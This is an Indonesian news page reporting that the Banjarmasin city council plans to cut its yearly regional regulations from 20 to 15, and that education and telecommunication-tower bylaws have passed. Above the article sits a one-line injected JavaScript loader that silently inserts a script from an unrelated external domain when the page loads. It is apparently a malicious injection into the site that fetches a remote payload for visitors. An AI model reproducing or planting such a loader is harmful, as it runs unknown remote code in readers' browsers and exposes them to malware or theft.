(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Ketua DPRD Banjarmasin Hj Ananda Akan Pangkas Jumlah Penerbitan Perda


BANJARMASIN, Banyaknya Rancangan Peraturan Daerah (Raperda) yang ada di meja dewan menjadikan beban tersendiri bagi DPRD Banjarmasin. Karena itu, pihak legislatif berancana mengurangi jumlah Raperda yang nantinya akan diterbitkan.

Ketua DPRD Kota Banjarmasin Hj Ananda mengatakan, Pemko akan mengurangi penerbitan dari jumlah Raperda yang pada tahun 2018 ini berjumlah 20, hanya akan menjadi 15 Raperda saja. “Upaya ini untuk mentaati PP 12 tahun 2018. Kami akan segera melaksanakan pengurangan penerbitan Perda dan hal ini sudah kami lakukan konsultasi serta minta pendapat dari Kemendagri,” jelasnya.

Ditambahkannya bahwa ia sudah menyampaikan hal tersebut kepada Badan Pembentukan Peraturan Daerah yang dalam waktu dekat akan melakukan penyesuaian tata tertib dewan berlandaskan peraturan yang ada. “Penyusuain terkait pemangkasan tersebut sudah kami beritahukan kepada Bapemperda,” ungkapnya.

Perubahan atau penyesuaian tersebut diharapkan dari ketentuan dalam jumlah penerbitan peraturan daerah dalam setahun itu tidak berdampak pada menurunnya target program legislasi daerah. Ia juga menargetkan proses pada tahun ini ada 20 buah lebih, namun hal ini akan terus dikejar DPRD hingga awal 2019 nanti.

Sebelumnya, dua Raperda tentang Penyelenggaraan Pendidikan dan tentang Penyelenggaraan Pendirian Menara Telekomunikasi telah selesai dibahas para legislator Banjarmasin. Dan kedua produk hukum tersebut secara resmi dijadikan Perda Kota Banjarmasin. Perda tentang Penyelenggaraan Pendidikan mengatur tentang pendidikan secara lebih luas lagi. Diantaranya, tentang pendidikan PAUD dan pendidikan bagi masyarakat inklusif.

Tak hanya itu, dalam Perda tersebut juga diatur tentang kewajiban setiap sekola untuk menyelenggarakan kegiatan keagamaan sesuai dengan agama yang dianut para siswa didiknya.

Pengesahan kedua buah Raperda tersebut, dilakukan dalam kegiatan Rapat Paripurna yang dilaksanakan di ruang Rapat Paripurna, Kantor DPRD Kota Banjarmasin. Kegiatan tersebut dihadiri Walikota Banjarmasin H Ibnu Sina dan para kepala SKPD lingkup Pemko Banjarmasin.

Menurut H Ibnu Sina, pendidikan merupakan salah satu urusan wajib pemerintahan, yang berkaitan dengan pelayanan dasar serta diselenggarakan secara terencana dan terarah. Pendidikan, lanjutnya, merupakan salah satu hak warga negara.

Oleh karena itu pemerintah daerah harus mampu menjamin pemerataan kesempatan pendidikan, peningkatan mutu pendidikan dan relevansi pendidikan, dalam menghadapi tantangan sesuai dengan perkembangan dan perubahan kehidupan lokal, nasional dan global.

“Diharapkan dengan diundangkanya Raperda tentang Penyelenggaraan Pendidikan ini akan mencapai tujuan kita bersama terkait penyelenggaraan pendidikan, sehingga semakin memajukan masyarakat Kota Banjarmasin,” katanya.

Menyakut tentang Raperda tentang Penyelenggaraan Pendirian Menara Telekomunikasi, kembali orang nomor satu di kota berjuluk seribu sungai ini menerangkan, menara telekomunikasi di Kota Banjarmasin memiliki potensi besar untuk terus bertambah.

9

Dengan dengan meningkatnya jumlah menara telekomunikasi di kota ini, maka diperlukan adanya pengendalian oleh Pemko Banjarmasin. “Ini untuk meningkatkan rasa aman, nyaman dan tentram bagi masyarakat di sekitar lokasi pendirian menara telekomunikasi, dan untuk mengantisipasi kemungkinan terburuk dari keberadaan menara telekomunikasi, maka secara periodik Pemerintah Kota Banjarmasin akan melakukan pengawasan, pengecekan, pengendalian dan penanggulangan menara telekomunikasi dengan Perda ini,” jelasnya.

Sementara itu, Ketua Pansus Raperda tentang Penyelenggaraan Pendidikan, Sri Nurnaningsih mengatakan, penetapan Raperda tersebut menjadi Perda merupakan bagian dari kepedulian DPRD Kota Banjarmasin dan Pemko Banjarmasin terhadap dunia pendidikan di kota ini.

Karena itu, jelas wanita yang akrab disapa Ibu Sri ini, dalam Perda tersebut dibuat aturan tentang penyelenggaraan pendidikan ingklusif dan penyelenggaraan kegiatan keagamaan, sehingga setiap sekolah diwajibkan menyelenggarakan kegiatan keagamaan sesuai dengan agama yang dianut para siswanya.(ammar)

Reporter:Ammar
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

2 jam ago

Dr Gustava Yandi Dilantik Menjadi Pj Sekda Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More

3 jam ago

Deretan Film Terbaik, Spesial Menemani Akhir Tahunmu Bersama RCTI!

KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More

4 jam ago

Wujudkan Mimpi dalam Satu Malam, Saksikan Dangdut Mania Dadakan (DMD) Panggung Rezeki di MNCTV

KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More

4 jam ago

Rumah Tinggal Arang, 13 Karung Padi Nenek Asniah Ikut Ludes

KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More

5 jam ago

Api Dini Hari di Pelambuan, 75 Jiwa Kehilangan Tempat Tinggal

KANALKALIMANTAN.COM, BANJARMASIN - Peristiwa kebakaran terjadi di Jalan Ir PHM Noor, Gang Nuruddin RT 55,… Read More

6 jam ago

This website uses cookies.